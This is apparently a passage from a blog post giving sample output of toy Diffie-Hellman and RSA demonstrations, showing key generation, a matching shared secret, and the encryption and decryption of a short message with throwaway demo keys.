safe prime p = 964738809dbecd4bcb9ba1d18de0f5a6fbd595383c2dbe460f8dfd6dea62d2a6bca4016806c788e89872e888137d767030c72a17ac7d6cc33e5b44a9c17ad32412656ac0770829412b502dc6010545cc26043b55bbccf7946de94c0a4c1c0386a255d9101a235e0427aefb003cc7a6e64c0860349fc6e220fc7fef110a60ad727e6af317cefbeab4216e0f76dadb816cfdf2cd90549340dc7eef977a7c3133f854088b0390a4d55d6244bc2f8f532401f6d224379b475fd1e30e4de0e52fba9273b742773dcea2c427804d3273d2f2cbcfb4d5deeb80c05282563a37777cabb4c0de696f41f622f6e59b613925ba6ec21b5b380d42f36aa6997fb6f4efcc5b4b
random secret a = 5d089da62d878fde8749d1f1bd366d789f68c453c955076e5d7d016b3b5a1b70
random secret b = 5c81b7ab27b1c7256b8aebaa5817ff2f79e23a3db7ae521633136226bfd11cac

g ^ a mod p = 8aa9704ee8f4b069b65afa1e2515ee0177cf547420d78cd14e52ef07162a2159f04406eb88d2f8019dc0e37a4fb17c42bd93caf143436ff1f229f6a909fa015c43774ec066fed8f8d699a31f7b8c207d700c3f5c4c1e7aa50afb80b9233cfa5b00c4f0b0aad7c011affef7df650bdf281d48961fd2acb2ad96d6e1ea19e910ee793f4103262d68e81dfaaf60b7e27e69d41c7d5729231e2c118d533093aadbc6b0fa983e5f28f0a92a1df4370105643940f67db1584d06d8f4dff7a14c91186587c6a7663505eefe42274a9b2b51faf5ac3ce1653f0ff016b1abd8217652b5e3916d519d3087bffb28ea3c8b69b8e496f0aa05c0142876e0a716b98fe4ae6c03
g ^ b mod p = 600008e084d3234eb57996affb5a5e15cea6017c3af118dca59b7aae5476ccba8b3dbe2051a7340240894dcf44ba4705052e55668674bdc3dab10332e7bd9061dbbe7a3430c0c891e0a651bd6778e791fcc95a5c6ae952660eea9b6fb65e503c9d7b94f7355b51872380b2e4fcbc94f0fcfa83e437e677d5796ac016c92f651391cad83db247cd12ecdb703df17a35efd93141d8219420be02e4a941820a4eaa2eb1ddda992589d83650ce22c8bd3db4b7b062eb66abd6dab6181002b95b6daa383b56ae37c8a378d71b6ca88b6099c3313d6b3e5299b5960b6eafea2761ca8807138b773b63035fe429178e52bd5656c7e278eac85e6d952de47d24e3c6cab5

alice derives premaster secret via (g^b)^a mod p: 7d9ca5dc613b1f965d7adfa695d7d2a8aeeadc0a063d609ace20d92ceb504b7c9ca03196056f9d5dabe3a8a7a0161666322c9dc3b6521b05829d4ef3ff5b0db5ee04fdb4cc80052e82f0036d7414b84fdfd5687c2c95c118aa433a92c52c1124cb69082889ce4aac2cb8bfeb1657b59337c516c3db026e4bfdd343de2e2088a1109e63e6bfe5000351631465a808f2b1ede8ba7d36bd9e71511f5ad4e8e31550fd3ac15301c3e8f89cf710fa04722a26ea1080d631a857fcae69150712ab80a38df795920022195a7df2363962736653cfa7704343064eb693fa28dd7b718c31000301f41ae568700b48327b99602b12f53a9f8938ae56839273ff8dec0ddad6
bob derives premaster secret via (g^a)^b mod p: 7d9ca5dc613b1f965d7adfa695d7d2a8aeeadc0a063d609ace20d92ceb504b7c9ca03196056f9d5dabe3a8a7a0161666322c9dc3b6521b05829d4ef3ff5b0db5ee04fdb4cc80052e82f0036d7414b84fdfd5687c2c95c118aa433a92c52c1124cb69082889ce4aac2cb8bfeb1657b59337c516c3db026e4bfdd343de2e2088a1109e63e6bfe5000351631465a808f2b1ede8ba7d36bd9e71511f5ad4e8e31550fd3ac15301c3e8f89cf710fa04722a26ea1080d631a857fcae69150712ab80a38df795920022195a7df2363962736653cfa7704343064eb693fa28dd7b718c31000301f41ae568700b48327b99602b12f53a9f8938ae56839273ff8dec0ddad6

secrets match, and can be used to derive a session key for symmetric encryption

Here’s the code on GitHub.

Here’s a sample output of the RSA demo:

############ KEY GENERATION ############

generating a 256-bit modulus
random large prime p = 7c3235989ff4fa33daafc7c6cddfedc09463709d0c06cedcb79a71201ef2249d
random large prime q = 7905b80fe0c2a96cad933d3c4fa89dad8d9c55da48f51eba3441b728a4336a01

modulus n (p * q) = 3ab6819bfa172018e0f59665592b67402a5bf8cdfc5ef61f4c35013bccc7a8ca258e2f52c654170a131f7676c1facbfb3b394c17de306540e589fb2a4162269d

φ(n) = (p - 1) * (q - 1) = 3ab6819bfa172018e0f59665592b67402a5bf8cdfc5ef61f4c35013bccc7a8c9305641aa459c73698adc7173a472408d193985a0893477a9f9add2e17e3c9800

public/encryption exponent e (statically set) = 10001
private/decryption exponent d (modular inversion of e mod φ(n)) = 3a8f0f2457c2bae3b5739ce6469290afa1d00b8ebf38a37841d4d7ff21d6bd94b45e43ae2531ceb6a4a60b8dd0a59796636348d0fe27d37637add417cd857801

############ ENCRYPTION ############

enter text to encrypt (encoded length must be less than keysize): attack at dawn

encoded cleartext as integer m: 61747461636b206174206461776e

ciphertext (m ^ e mod n): 185de13c3735dd22fd173e76276921f52e8fd5653dcad619fb5db6fb26964ec1bb98f8bc941706075672ad879745124ddc9fdc6a0b5ec35fbda872384a4cdb1a

############ DECRYPTION ############

decrypted ciphertext as int (c ^ d mod n): 61747461636b206174206461776e
decrypted ciphertext: attack at dawn

And here’s the gist for that one.